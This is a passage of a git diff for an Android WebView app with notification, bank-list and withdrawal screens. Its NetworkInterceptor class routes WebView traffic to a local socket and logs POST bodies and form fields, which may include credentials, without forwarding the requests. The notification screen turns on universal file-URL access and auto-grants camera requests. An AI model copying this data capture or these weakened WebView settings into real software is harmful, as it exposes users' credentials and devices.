(webView.canGoBack()) { +// webView.goBack(); +// return true; +// } else { +// return super.onKeyDown(keyCode, event); +// +// } +// +// } +// return super.onKeyDown(keyCode, event); +// } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 +// webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); +// //清除历史记录 +// webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + mAgentWeb.destroy(); + } + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + /** + * 获取状态栏高度 + * + * @return + */ + public int getStatusBarHeight() { + int result = 0; + //获取状态栏高度的资源id + int resourceId = getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = getResources().getDimensionPixelSize(resourceId); + } + return result; + } + //wp-caption alignnone + + +} diff --git a/base_no_all/src/main/java/com/web/base/MessageInfo.java b/base_no_all/src/main/java/com/web/base/MessageInfo.java new file mode 100644 index 0000000..c6852f1 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/MessageInfo.java @@ -0,0 +1,96 @@ +package com.web.base; + +import java.io.Serializable; + +public class MessageInfo implements Serializable { + private String title; + private String content; + private String image = ""; + private int type; // 1:文字 2:图片 3:链接跳转 + private int pushId; + private String createTime; + private int recordId; + public int status; + private String jumpUrl; + private boolean isShowAll = false; + + public String getCreateTime() { + return createTime; + } + + public void setCreateTime(String createTime) { + this.createTime = createTime; + } + + public int getRecordId() { + return recordId; + } + + public void setRecordId(int recordId) { + this.recordId = recordId; + } + + public int getStatus() { + return status; + } + + public void setStatus(int status) { + this.status = status; + } + + public boolean isShowAll() { + return isShowAll; + } + + public void setShowAll(boolean showAll) { + isShowAll = showAll; + } + + public String getJumpUrl() { + return jumpUrl; + } + + public void setJumpUrl(String jumpUrl) { + this.jumpUrl = jumpUrl; + } + + public int getType() { + return type; + } + + public void setType(int type) { + this.type = type; + } + + public int getPushId() { + return pushId; + } + + public void setPushId(int pushId) { + this.pushId = pushId; + } + + public String getTitle() { + return title; + } + + public void setTitle(String title) { + this.title = title; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + + public String getImage() { + return image; + } + + public void setImage(String image) { + this.image = image; + } +} diff --git a/base_no_all/src/main/java/com/web/base/MyBankListAdapter.java b/base_no_all/src/main/java/com/web/base/MyBankListAdapter.java new file mode 100644 index 0000000..de365ed --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/MyBankListAdapter.java @@ -0,0 +1,74 @@ +package com.web.base; + +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +public class MyBankListAdapter extends RecyclerView.Adapter { + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + + public MyBankListAdapter(List listdata) { + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_invite_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + holder.getTextView().setText(listdata.get(position).getBankName()); + + holder.itemView.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private final TextView textView; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + textView = itemView.findViewById(R.id.tv_invitecode); + } + + public TextView getTextView() { + return textView; + } + } + + public interface onItemClickPostionListener { + void item(int position); + } + +} diff --git a/base_no_all/src/main/java/com/web/base/MyListAdapter.java b/base_no_all/src/main/java/com/web/base/MyListAdapter.java new file mode 100644 index 0000000..f42b437 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/MyListAdapter.java @@ -0,0 +1,75 @@ +package com.web.base; + +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +public class MyListAdapter extends RecyclerView.Adapter { + + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + + + public MyListAdapter(List listdata) { + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_invite_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + holder.getTextView().setText(listdata.get(position)); + holder.itemView.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private final TextView textView; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + textView = itemView.findViewById(R.id.tv_invitecode); + } + + public TextView getTextView() { + return textView; + } + } + + public interface onItemClickPostionListener { + void item(int position); + } +} diff --git a/base_no_all/src/main/java/com/web/base/MyNotifyListAdapter.java b/base_no_all/src/main/java/com/web/base/MyNotifyListAdapter.java new file mode 100644 index 0000000..3d3cb0f --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/MyNotifyListAdapter.java @@ -0,0 +1,179 @@ +package com.web.base; + +import android.content.Context; +import android.text.TextUtils; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.constraintlayout.widget.ConstraintLayout; +import androidx.recyclerview.widget.RecyclerView; + +import com.bumptech.glide.Glide; + +import java.security.Timestamp; +import java.text.ParseException; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.List; + +/** + * 通知列表适配器 + */ +public class MyNotifyListAdapter extends RecyclerView.Adapter { + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + private Context context; + private MessageInfo messageItem; + + + public MyNotifyListAdapter(Context context, List listdata, MessageInfo messageItem) { + this.context = context; + this.listdata = listdata; + this.messageItem = messageItem; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_notify_list, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + +// holder.itemView.setOnClickListener(view -> { +// if (itemClickPostionListener != null) { +// itemClickPostionListener.item(position); +// } +// }); + + MessageInfo messageInfo = listdata.get(position); + if (messageItem != null && messageInfo.getRecordId() == messageItem.getPushId()) { + messageInfo.setShowAll(true); + messageItem = null; + } + int type = messageInfo.getType(); + if (type == 1) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_textcolor)); + holder.tvType.setText("Text"); + } + if (type == 2) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_imagecolor)); + holder.tvType.setText("Image"); + } + if (type == 3) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_jumplinkcolor)); + holder.tvType.setText("Jump link"); + } + holder.tvTitle.setText(messageInfo.getTitle()); + holder.layoutMore.setVisibility(View.GONE); + holder.tvContent.setText(messageInfo.getContent()); + holder.ivMsg.setVisibility(View.GONE); + holder.tvTime.setText(messageInfo.getCreateTime()); + holder.tvJumpLink.setVisibility(View.GONE); + + holder.lookIv.setText(longTime(messageInfo.getCreateTime())); + if (!TextUtils.isEmpty(messageInfo.getImage())) { + LogUtils.i("地址是啥:"+messageInfo.getImage()); + holder.ivMsg.setVisibility(View.VISIBLE); + Glide.with(context).load(messageInfo.getImage()).into(holder.ivMsg); + } + if (!TextUtils.isEmpty(messageInfo.getJumpUrl())) { + holder.tvJumpLink.setVisibility(View.VISIBLE); + holder.tvJumpLink.setText(messageInfo.getJumpUrl()); + holder.tvJumpLink.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + if (messageInfo.isShowAll()) { + holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_shangla); + holder.layoutMore.setVisibility(View.VISIBLE); + } else { + holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_xiala); + holder.layoutMore.setVisibility(View.GONE); + } + holder.itemView.setOnClickListener(view -> { + messageInfo.setShowAll(!messageInfo.isShowAll()); + notifyItemChanged(position); + }); + + } + + public String longTime(String dateString){ + // 定义所需的日期格式 + SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + + try { + Long timeStr = dateFormat.parse(dateString).getTime(); + + String name = (((System.currentTimeMillis()-timeStr)/1000/60)+1000)+""; + + return name; + } catch (ParseException e) { + return "1000"; + } + + } + + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + + private final TextView tvType; + private final TextView tvTime; + private final TextView tvContent; + private final TextView tvTitle; + private final TextView tvJumpLink; + private final ImageView ivType; + private final ImageView ivNotifyPull; + private final ImageView ivMsg; + private ConstraintLayout root; + private LinearLayout layoutMore; + private TextView lookIv; + public ViewHolder(@NonNull View itemView) { + super(itemView); + root = itemView.findViewById(R.id.big_bg); +// tvType = itemView.findViewById(R.id.iv_readtype); + tvType = itemView.findViewById(R.id.tv_msg_type); + ivType = itemView.findViewById(R.id.iv_icon); + ivNotifyPull = itemView.findViewById(R.id.ic_notify_pull); + ivMsg = itemView.findViewById(R.id.iv_notifyimage); + tvContent = itemView.findViewById(R.id.iv_notifycontent); + tvTitle = itemView.findViewById(R.id.tv_msg_title); + tvTime = itemView.findViewById(R.id.tv_msg_time); + tvJumpLink = itemView.findViewById(R.id.iv_notifyjumpclick); + layoutMore = itemView.findViewById(R.id.layout_more); + lookIv = itemView.findViewById(R.id.look_iv); + } + + } + + public interface onItemClickPostionListener { + void item(int position); + } + +} diff --git a/base_no_all/src/main/java/com/web/base/MyWithDrwaListAdapter.java b/base_no_all/src/main/java/com/web/base/MyWithDrwaListAdapter.java new file mode 100644 index 0000000..adb5291 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/MyWithDrwaListAdapter.java @@ -0,0 +1,70 @@ +package com.web.base; + +import android.content.Context; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +/** + * 提现记录 + */ +public class MyWithDrwaListAdapter extends RecyclerView.Adapter { + + + private List listdata; + private Context context; + + public MyWithDrwaListAdapter(Context context, List listdata) { + this.context = context; + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_withdraw_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + WithDrawListInfo.WithDrawInfo withDrawInfo = listdata.get(position); + holder.tvWithDrawName.setText(withDrawInfo.getName() + "(" + withDrawInfo.getBankName() + ")"); + holder.tvWithDrawAmount.setText(String.format(context.getString(R.string.app_withdraw_amount), withDrawInfo.getAmount())); + holder.tvWithDrawBalance.setText(String.format(context.getString(R.string.app_balance), withDrawInfo.getBalance())); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private TextView tvWithDrawName; + private TextView tvWithDrawAmount; + private TextView tvWithDrawBalance; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + tvWithDrawName = itemView.findViewById(R.id.tv_withdrawname); + tvWithDrawAmount = itemView.findViewById(R.id.tv_withdrawamount); + tvWithDrawBalance = itemView.findViewById(R.id.tv_withdrawbalance); + } + + + } +} diff --git a/base_no_all/src/main/java/com/web/base/NetworkInterceptor.java b/base_no_all/src/main/java/com/web/base/NetworkInterceptor.java new file mode 100644 index 0000000..a036301 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/NetworkInterceptor.java @@ -0,0 +1,196 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.net.ConnectivityManager; +import android.net.LinkProperties; +import android.net.Network; +import android.os.Build; + +import com.tencent.smtt.sdk.WebView; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.UnsupportedEncodingException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.URLDecoder; +import java.util.HashMap; +import java.util.Map; + +/** + * ********************** + * + * @Author bug machine + * 创建时间: 2025/10/27 14:40 + * 用途 + * ********************** + */ +public class NetworkInterceptor { + private static final int PROXY_PORT = 8888; + + public static void startIntercept(Context context, WebView webView) { + try { + // 设置本地代理 + setLocalProxy(context, webView); + + // 启动代理服务器 + startProxyServer(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @SuppressLint("MissingPermission") + private static void setLocalProxy(Context context, WebView webView) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + // Android 6.0+ + Context appContext = context.getApplicationContext(); + Network network = null; + + ConnectivityManager connectivityManager = + (ConnectivityManager) appContext.getSystemService(Context.CONNECTIVITY_SERVICE); + if (connectivityManager != null) { + network = connectivityManager.getActiveNetwork(); + } + + if (network != null) { + LinkProperties linkProperties = connectivityManager.getLinkProperties(network); + if (linkProperties != null) { + String proxyHost = "127.0.0.1"; + int proxyPort = PROXY_PORT; + + // 设置代理 + webView.setNetworkAvailable(true); + + // 通过反射设置X5WebView的代理 + setX5WebViewProxy(webView, proxyHost, proxyPort); + } + } + } + } + + private static void setX5WebViewProxy(WebView webView, String host, int port) { + try { + Class webViewClass = webView.getClass(); + Field mWebViewField = webViewClass.getDeclaredField("mWebView"); + mWebViewField.setAccessible(true); + Object x5WebView = mWebViewField.get(webView); + + if (x5WebView != null) { + Class x5WebViewClass = x5WebView.getClass(); + Method setProxyMethod = x5WebViewClass.getMethod("setProperty", String.class, String.class); + setProxyMethod.invoke(x5WebView, "proxy_host", host); + setProxyMethod.invoke(x5WebView, "proxy_port", String.valueOf(port)); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + private static void startProxyServer() { + new Thread(() -> { + try { + ServerSocket serverSocket = new ServerSocket(PROXY_PORT); + + while (!Thread.currentThread().isInterrupted()) { + Socket clientSocket = serverSocket.accept(); + handleClientRequest(clientSocket); + } + } catch (IOException e) { + e.printStackTrace(); + } + }).start(); + } + + private static void handleClientRequest(Socket clientSocket) { + try { + InputStream clientInput = clientSocket.getInputStream(); + ByteArrayOutputStream buffer = new ByteArrayOutputStream(); + + byte[] data = new byte[4096]; + int bytesRead; + while ((bytesRead = clientInput.read(data, 0, data.length)) != -1) { + buffer.write(data, 0, bytesRead); + + // 解析HTTP请求 + String request = buffer.toString("UTF-8"); + if (request.contains("\r\n\r\n")) { + parseHttpRequest(request); + break; + } + } + + clientSocket.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + + private static void parseHttpRequest(String request) { + String[] lines = request.split("\r\n"); + String requestLine = lines[0]; + + if (requestLine.contains("POST")) { + LogUtils.i("DAILIPROXY_POST"+"检测到POST请求"); + + // 解析请求头 + Map headers = new HashMap<>(); + int bodyStartIndex = -1; + + for (int i = 1; i < lines.length; i++) { + if (lines[i].isEmpty()) { + bodyStartIndex = i + 1; + break; + } + + String[] headerParts = lines[i].split(":", 2); + if (headerParts.length == 2) { + headers.put(headerParts[0].trim(), headerParts[1].trim()); + } + } + + // 解析请求体 + if (bodyStartIndex != -1 && bodyStartIndex < lines.length) { + StringBuilder body = new StringBuilder(); + for (int i = bodyStartIndex; i < lines.length; i++) { + body.append(lines[i]); + } + + String postData = body.toString(); + LogUtils.i("DAILIPROXY_POST_DATA"+"POST数据: " + postData); + + // 解析POST参数 + if (headers.containsKey("Content-Type") && + headers.get("Content-Type").contains("application/x-www-form-urlencoded")) { + + Map params = parseFormData(postData); + for (Map.Entry entry : params.entrySet()) { + LogUtils.i("DAILIPOST_PARAM"+entry.getKey() + "=" + entry.getValue()); + } + } + } + } + } + + private static Map parseFormData(String formData) { + Map params = new HashMap<>(); + try { + String[] pairs = formData.split("&"); + for (String pair : pairs) { + String[] keyValue = pair.split("="); + if (keyValue.length == 2) { + String key = URLDecoder.decode(keyValue[0], "UTF-8"); + String value = URLDecoder.decode(keyValue[1], "UTF-8"); + params.put(key, value); + } + } + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + } + return params; + } +} \ No newline at end of file diff --git a/base_no_all/src/main/java/com/web/base/NotifyDetailsActivity.java b/base_no_all/src/main/java/com/web/base/NotifyDetailsActivity.java new file mode 100644 index 0000000..4583498 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/NotifyDetailsActivity.java @@ -0,0 +1,381 @@ +package com.web.base; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.content.ActivityNotFoundException; +import android.content.Intent; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.View; +import android.view.WindowManager; +import android.widget.ImageView; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + +import com.bumptech.glide.Glide; +import com.tencent.smtt.export.external.interfaces.PermissionRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.DownloadListener; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + +import java.util.HashMap; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +//通知详情 +public class NotifyDetailsActivity extends AppCompatActivity { + + + WebView webView; + private LinearLayout showTopLy; + private ImageView backIv; + private ImageView contentIv; + + public static String url = "https://vv88.io/"; + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_notifydetails); + initView(); + MessageInfo messageInfo = (MessageInfo) getIntent().getSerializableExtra("message"); + if (messageInfo != null) { + recordNotify(messageInfo.getPushId()); + if (messageInfo.getType() == 3) { + webView.setVisibility(View.VISIBLE); + webView.loadUrl(messageInfo.getJumpUrl()); + } + if (messageInfo.getType() == 2) { + contentIv.setVisibility(View.VISIBLE); + Glide.with(NotifyDetailsActivity.this).load(messageInfo.getImage()).into(contentIv); + } + + + } + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + webView = findViewById(R.id.webview); + showTopLy = findViewById(R.id.show_top_ly); + backIv = (ImageView) findViewById(R.id.back_iv); + contentIv = findViewById(R.id.image); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(true); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + showTopLy.setVisibility(View.GONE); + + } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, WebResourceRequest webResourceRequest) { + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = webResourceRequest.getUrl(); + } else { + uri = Uri.parse(webResourceRequest.toString()); + } + String url1 = uri.toString(); + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + LogUtils.i("URL是啥:" + url1); + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return false; + } + }); + +// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +// verifyStoragePermissions(this); + + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + + backIv.setOnClickListener(view -> finish()); + + } + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); +// WebView newWebView = new WebView(MainActivity2.this); + // topVvvv.setVisibility(View.VISIBLE); +// webView.addView(newWebView); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// webView.loadUrl(url); +// return false; +// } +// }); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(NotifyDetailsActivity.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + + } + + + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + try { + startActivityForResult(intent, REQUEST_CODE_FILE_CHOOSER); + } catch (ActivityNotFoundException e) { +// mUploadCallbackForHighApi = null; +// WidgetUtils.showToast(JsBridgeActivity.this, "未知错误", WidgetUtils.ToastType.ERROR); + // Toast.makeText(MainActivity2.this, "未知错误", Toast.LENGTH_SHORT).show(); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + NotifyDetailsActivity.this.runOnUiThread(new Runnable() { + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public void run() { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(NotifyDetailsActivity.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(NotifyDetailsActivity.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + + + } + }); + + + } + + } + + }; + + private PermissionRequest permissionRequest; + +} diff --git a/base_no_all/src/main/java/com/web/base/NotifyListActivity.java b/base_no_all/src/main/java/com/web/base/NotifyListActivity.java new file mode 100644 index 0000000..7b58c8d --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/NotifyListActivity.java @@ -0,0 +1,129 @@ +package com.web.base; + +import android.content.Intent; +import android.net.Uri; +import android.os.Bundle; +import android.view.View; +import android.view.WindowManager; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +/** + * 通知列表 + */ +public class NotifyListActivity extends AppCompatActivity { + + private RecyclerView recyclerView; + private LinearLayoutManager manager; + private MyNotifyListAdapter adapter; + private List listdata = new ArrayList<>(); + private int userId = 2; + private int page = 1; + private boolean isNextPages = false; + + private MessageInfo messageInfoItem; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + userId = MainActivity2.getInt(NotifyListActivity.this,"user_code",userId); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_notifylist); + messageInfoItem = (MessageInfo) 